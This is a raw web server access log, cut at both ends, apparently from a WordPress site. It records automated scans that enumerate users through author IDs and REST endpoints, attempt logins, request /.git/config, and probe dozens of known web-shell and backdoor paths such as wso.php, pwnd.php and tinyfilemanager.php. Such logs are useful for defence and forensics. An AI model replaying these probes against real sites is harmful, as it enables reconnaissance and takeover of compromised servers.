AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:48 +0300] "GET /?author=25 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:48 +0300] "GET /?author=26 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:48 +0300] "GET /?author=27 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:48 +0300] "GET /?author=28 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:49 +0300] "GET /?author=29 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:49 +0300] "GET /?author=30 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:49 +0300] "GET /?author=31 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:49 +0300] "GET /?author=32 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:50 +0300] "GET /?author=33 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:50 +0300] "GET /?author=34 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:50 +0300] "GET /?author=35 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:50 +0300] "GET /?author=36 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:50 +0300] "GET /?author=37 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:50 +0300] "GET /?author=38 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:50 +0300] "GET /?author=39 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:51 +0300] "GET /?author=40 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:51 +0300] "GET /?author=41 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:51 +0300] "GET /?author=42 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:51 +0300] "GET /?author=43 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:52 +0300] "GET /?author=44 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:52 +0300] "GET /?author=45 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:52 +0300] "GET /?author=46 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:53 +0300] "GET /?author=47 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:53 +0300] "GET /?author=48 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:54 +0300] "GET /?author=49 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:54 +0300] "GET /?author=50 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:54 +0300] "GET /feed/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:55 +0300] "GET /wp-json/wp/v2/posts?per_page=12 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:47:00 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:47:00 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 85.137.48.167 - - [13/Apr/2026:02:35:23 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 43.153.26.165 - - [13/Apr/2026:00:42:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 27.46.75.4 - - [13/Apr/2026:01:35:02 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.3036.34 Safari/537.36 LBBROWSER" 31.57.184.107 - - [13/Apr/2026:04:01:35 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64; rv:119.0) Gecko/20100101 Firefox/119.0" 107.189.7.189 - - [13/Apr/2026:01:45:54 +0300] "GET /wp-json/wp/v2/users?per_page=100 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:01 +0300] "GET /?rest_route=/wp/v2/users&per_page=100 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:06 +0300] "GET /wp-json/wp/v2/users?per_page=100&context=edit HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:14 +0300] "GET /wp-json/wp/v2/users?per_page=100&orderby=slug HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:18 +0300] "GET /wp-sitemap-users-1.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:18 +0300] "GET /author-sitemap.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 156.67.26.52 - - [13/Apr/2026:02:15:01 +0300] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.151.248.149 - - [13/Apr/2026:03:09:09 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 141.98.11.209 - - [13/Apr/2026:03:15:59 +0300] "GET /wp-content/plugins/init-help/init.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 106.119.167.146 - - [13/Apr/2026:03:16:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.165.189.206 - - [13/Apr/2026:01:37:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 107.189.7.189 - - [13/Apr/2026:01:45:53 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 20.43.2.94 - - [13/Apr/2026:01:58:40 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 156.67.26.52 - - [13/Apr/2026:02:13:35 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 156.67.26.52 - - [13/Apr/2026:02:14:12 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 104.248.127.178 - - [13/Apr/2026:03:14:27 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:52 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:52 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /wp-admin/maint/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /wp-admin/images/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /admin/uploads/bn_1_1754420677.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:53 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-content/plugins/envato-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /uploads/94056-upload.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /js/bas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-content/plugins/elementor/wp-wjvngrh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-includes/IXR/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-includes/widgets/dyqvcfqv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:28:54 +0300] 